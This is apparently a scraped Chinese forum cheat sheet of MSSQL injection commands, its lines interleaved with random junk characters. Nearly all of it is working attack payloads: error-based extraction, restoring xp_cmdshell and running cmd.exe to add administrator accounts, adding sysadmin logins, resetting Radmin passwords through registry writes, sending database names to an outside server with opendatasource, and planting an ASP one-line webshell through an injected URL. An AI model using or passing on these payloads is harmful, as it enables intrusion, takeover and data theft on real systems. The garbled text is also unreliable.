阿D常用的一些注入命令
0 X' B. J6 j0 t5 W* @/ G9 | P2 D' G//看看是什么权限的
8 {) w5 s: m" Z+ H6 I. _" c0 Y7 `0 Eand 1=(Select IS_MEMBER('db_owner'))
6 ?+ W4 M; r# [$ C% ?/ ]And char(124)%2BCast(IS_MEMBER('db_owner') as varchar(1))%2Bchar(124)=1 ;--
7 @3 P) }; A X1 U8 S5 }5 v
8 V }8 X: P. k2 }+ B3 t//检测是否有读取某数据库的权限
: Z& a+ V' J1 ^0 B7 U+ pand 1= (Select HAS_DBACCESS('master'))# ?/ Z+ b" J L) c+ r
And char(124)%2BCast(HAS_DBACCESS('master') as varchar(1))%2Bchar(124)=1 --
1 g, {6 a4 b) R& r* s$ T3 O5 u1 G; E/ ]! Y8 j
- E8 e1 \1 P- K6 o! n1 `( g* l
数字类型5 @) [1 P& _# d. A! K% k: L% c9 ?
and char(124)%2Buser%2Bchar(124)=0
) r# W" X" ~. B
8 m! A- [9 y! M( W; F字符类型& X' l7 D; N- Z' }& F) x/ p5 o U+ \; \
' and char(124)%2Buser%2Bchar(124)=0 and ''='2 X8 m! a4 ^+ Q, t' q
" V; Q6 C1 R$ w9 F1 q* i5 R搜索类型( T7 \4 O, X* e, w7 K( Z( v( ?# E
' and char(124)%2Buser%2Bchar(124)=0 and '%'='
. y% {( J# p) h( R/ M
% S; ~3 G1 T! a5 Q9 s爆用户名. ~: d, }9 ?6 x2 @1 x
and user>0
2 V- `' s0 S8 c) H# M: P) A3 ^' and user>0 and ''='
( y J2 O: q X, s5 U" t
; I6 P4 {# p7 p8 n检测是否为SA权限
: Z8 g3 _5 E) x8 f. h- P3 p2 y vand 1=(select IS_SRVROLEMEMBER('sysadmin'));--
5 G+ s( E/ R6 y2 g2 v" l6 l) GAnd char(124)%2BCast(IS_SRVROLEMEMBER(0x730079007300610064006D0069006E00) as varchar(1))%2Bchar(124)=1 --9 K* w+ D ^: x9 `! i
6 v1 i/ o+ N( \检测是不是MSSQL数据库- v9 K6 h2 }3 O- Z% z, k
and exists (select * from sysobjects);-- 6 N5 U* }# _( m$ A
8 }. N# y, \' e; U# d检测是否支持多行7 i" P7 i B1 e8 a& Y
;declare @d int;-- 6 V& z# t. O: M% U9 I
2 S' @. v1 v- K6 Q) f4 ]8 [1 U x恢复 xp_cmdshell
0 N1 `0 W! ]3 v2 T" {4 d8 k6 x5 p;exec master..dbo.sp_addextendedproc 'xp_cmdshell','xplog70.dll';--
1 D I1 {! F+ u& Y! Q! \" A& @6 K7 W1 ?$ y' s# E
) q9 s+ \( r0 x$ r! t7 e& l
select * from openrowset('sqloledb','server=192.168.1.200,1433;uid=test;pwd=pafpaf','select @@version') * r" X2 c) H* e4 Q5 L
3 X0 D/ I! }# ?6 I9 E
//-----------------------: D3 h! y3 e8 R* O$ ?/ m
// 执行命令3 i7 D+ {" E' p, E& d
//-----------------------3 F7 p8 D) G) v Q1 U
首先开启沙盘模式:) |9 U. I8 k0 i8 @4 J/ w. y
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1" h& w. H# ?+ y
9 N; f: i9 r d* B' U2 o1 P然后利用jet.oledb执行系统命令
" o+ `3 n0 f. U4 Z2 o. b- Uselect * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c net user admin admin1234 /add")')
4 M7 Q% K8 O6 p6 A
$ A4 F: [" I, C# q1 x执行命令
8 g, B. T4 z2 F5 x! j8 K;DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:\WINNT\system32\cmd.exe /c net user paf pafpaf /add';--& l) d5 n! v# t- h& e: m
$ P+ ^& d7 @" ^% ~! r$ [& C$ Y
EXEC [master].[dbo].[xp_cmdshell] 'cmd /c md c:\1111'+ O Z# \, h$ ^! A0 s: ]
5 v# }* f' q" k, [- U, r e! K0 L# _判断xp_cmdshell扩展存储过程是否存在:
; @+ }' j" g+ p; F1 Ohttp://192.168.1.5/display.asp?keyno=188 and 1=(Select count(*) FROM master.dbo.sysobjects Where xtype = 'X' AND name = 'xp_cmdshell')( M& I2 J; I* [9 o
- b5 s; y1 D; Q3 }. O2 g* K& @
写注册表- v4 A; W5 M; O$ y% ]
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1
6 i( o; L0 Z a
3 t% b. c2 ^' g, I6 KREG_SZ
3 [: L! g& V2 \; `! H4 Y; y7 n2 g3 x. c/ y) T- F
读注册表
$ p7 A7 k+ f5 {2 X( s0 fexec master..xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon','Userinit'
7 s4 ]! _- _/ \$ D+ e
; x* T9 R( _# s$ ^' j读取目录内容& j5 `" A l1 G V2 ?( _, b* g3 ~
exec master..xp_dirtree 'c:\winnt\system32\',1,1; c' ]1 M, d6 \5 _" W: H, A
: x7 `# z2 g$ ?- Z% ^1 f2 V
7 i* s7 f4 P7 _0 h) _( y8 J) Q数据库备份
% j! }% I+ l2 Z2 t; Obackup database pubs to disk = 'c:\123.bak'* l. l' B. J {$ \
. x4 p p# R: r5 {% A//爆出长度
$ y' Q1 I; u9 k' PAnd (Select char(124)%2BCast(Count(1) as varchar(8000))%2Bchar(124) From D99_Tmp)=0 ;--# T0 | x3 @( f. U3 a+ k/ k
- b, d% B1 F- u- z' ~& ^$ r5 P$ W4 {6 ^. F3 }
. a, l: Q2 z' e; V5 S" J
更改sa口令方法:用sql综合利用工具连接后,执行命令:
" U7 Z# m! Y6 {exec sp_password NULL,'新密码','sa'
7 Z {$ | { r+ j
* c. }) a9 g/ z1 E( R8 |添加和删除一个SA权限的用户test:2 x, c2 r7 T4 C9 d$ z' m
exec master.dbo.sp_addlogin test,ptlove
$ u; S: h# {8 z2 i$ x% Sexec master.dbo.sp_addsrvrolemember test,sysadmin9 m% \' _1 x, W; W0 E r
1 j. [2 x. |: e% c9 K
删除扩展存储过过程xp_cmdshell的语句: 3 c% j7 e4 b$ m" @* E
exec sp_dropextendedproc 'xp_cmdshell'& D; d1 @$ S1 ]& T% ?! j
* M1 n/ Q4 S, Q0 x" a# [ m/ q添加扩展存储过过程2 q& W. }" Z/ ?, H
EXEC [master]..sp_addextendedproc 'xp_proxiedadata', 'c:\winnt\system32\sqllog.dll' 7 U- d7 B" c% \# j3 l8 A
GRANT exec On xp_proxiedadata TO public
) ]1 A7 J' ?" |" o
5 R0 x4 N& G/ _9 X5 J2 W4 m# x% n- W4 r" C6 K
停掉或激活某个服务。
6 H9 L X5 P1 o: K; b. y) v" V1 ^7 h3 u# |" P8 [- i
exec master..xp_servicecontrol 'stop','schedule'
( H0 s4 S" H5 W1 o- Mexec master..xp_servicecontrol 'start','schedule'
0 O# x, Y: q" r. L% H2 i. t
% z* G3 a7 Q6 O# Tdbo.xp_subdirs
7 A' {; i) R4 n2 x. d3 s& g0 a. s; u/ p
只列某个目录下的子目录。) w* e# P# N0 @0 u
xp_getfiledetails 'C:\Inetpub\wwwroot\SQLInject\login.asp'
2 X8 j/ g3 f8 Y9 Z
6 o7 P7 Q5 w2 ~: B' \5 _) \dbo.xp_makecab2 T. L4 j, p0 y# G% i7 g: N
% u- k4 R/ I& O# `- Z4 A将目标多个档案压缩到某个目标档案之内。
; m, @& G0 ~# H所有要压缩的档案都可以接在参数列的最后方,以逗号隔开。9 {& F6 s' X* p( U( u% ~
" l- C; W6 ]4 Z0 X7 F
dbo.xp_makecab
# G0 I3 E2 Y. \; \3 h2 u'c:\test.cab','mszip',1,* A' X7 U' q V; w3 W
'C:\Inetpub\wwwroot\SQLInject\login.asp',6 ], B% O( B' H! n4 v, Z# ]7 q
'C:\Inetpub\wwwroot\SQLInject\securelogin.asp'4 k0 I9 h7 U" j6 p8 r
2 a# P0 F9 ^$ C$ e2 L; _2 g4 l C
xp_terminate_process
1 p, V: w/ M" M7 y& N! k# L& I& o( f( e v* D: G
停掉某个执行中的程序,但赋予的参数是 Process ID。
: u+ s) s* d/ m6 S利用”工作管理员”,透过选单「检视」-「选择字段」勾选 pid,就可以看到每个执行程序的 Process ID& u- _9 @" G. Q
4 R. P4 j. R) U* Qxp_terminate_process 2484, B! v9 }- p" f4 ~
* N/ Q5 L; q* r4 x, W! ^
xp_unpackcab
# f% q4 N0 N1 _: y* c$ L) Z9 b0 e* P6 ]; \3 X5 {0 t& n
解开压缩档。
, |/ Y, K0 {4 A5 ^* |/ G6 b: @0 l# m( \& D) b6 M9 t2 Z3 ?
xp_unpackcab 'c:\test.cab','c:\temp',1
1 D/ X5 D% N2 |7 r/ S
4 |- x7 k2 T& x P* h" b9 o) ~3 }' R0 Y( L2 s6 |1 Q
某机,安装了radmin,密码被修改了,regedit.exe不知道被删除了还是被改名了,net.exe不存在,没有办法使用regedit /e 导入注册文件,但是mssql是sa权限,使用如下命令 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','Parameter','REG_BINARY',0x02ba5e187e2589be6f80da0046aa7e3c 即可修改密码为12345678。如果要修改端口值 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','port','REG_BINARY',0xd20400 则端口值改为12340 }1 ~$ H% Y% Q2 I, c) ^ R+ ]( m4 w- Y! a
; u- y! E2 ]8 |1 e7 X8 a% ~' Z
create database lcx;. e# |0 x! t/ `
Create TABLE ku(name nvarchar(256) null);
9 V* R; w3 \- l" y5 @Create TABLE biao(id int NULL,name nvarchar(256) null);
7 G1 [. P7 W6 J& c: E# D( n% V3 O- @2 O1 N
//得到数据库名3 s6 A1 @+ I8 K% v
insert into opendatasource('sqloledb','server=211.39.145.163,1443;uid=test;pwd=pafpaf;database=lcx').lcx.dbo.ku select name from master.dbo.sysdatabases
8 L. z0 d& F$ p' ?4 W
3 p9 Z- {( G- a2 f
0 q% M, ^1 K$ c: k6 |//在Master中创建表,看看权限怎样
' q) y5 Q9 Y* K: z- r9 H0 f, E- fCreate TABLE master..D_TEST(id nvarchar(4000) NULL,Data nvarchar(4000) NULL);--
( r# w7 p) R2 M: K/ X8 s/ V' h" e
- L5 ]! ~. n! | O. l9 G用 sp_makewebtask直接在web目录里写入一句话马:- F+ b' W$ G1 X" V/ o. m! L6 e
http://127.0.0.1/dblogin123.asp?username=123';exec%20sp_makewebtask%20'd:\www\tt\88.asp','%20select%20''<%25execute(request("a"))%25>''%20';--
4 u# S* ^" n) D& e% B- F: J% c/ c+ g: u/ O k! j
//更新表内容( `/ G* L6 V' ?4 b) ~
Update films SET kind = 'Dramatic' Where id = 1232 T9 J, D* a2 g9 K4 s
: C% t8 L+ t* d//删除内容; { O0 D- F* K. J; i5 F. \+ S
delete from table_name where Stockid = 3 |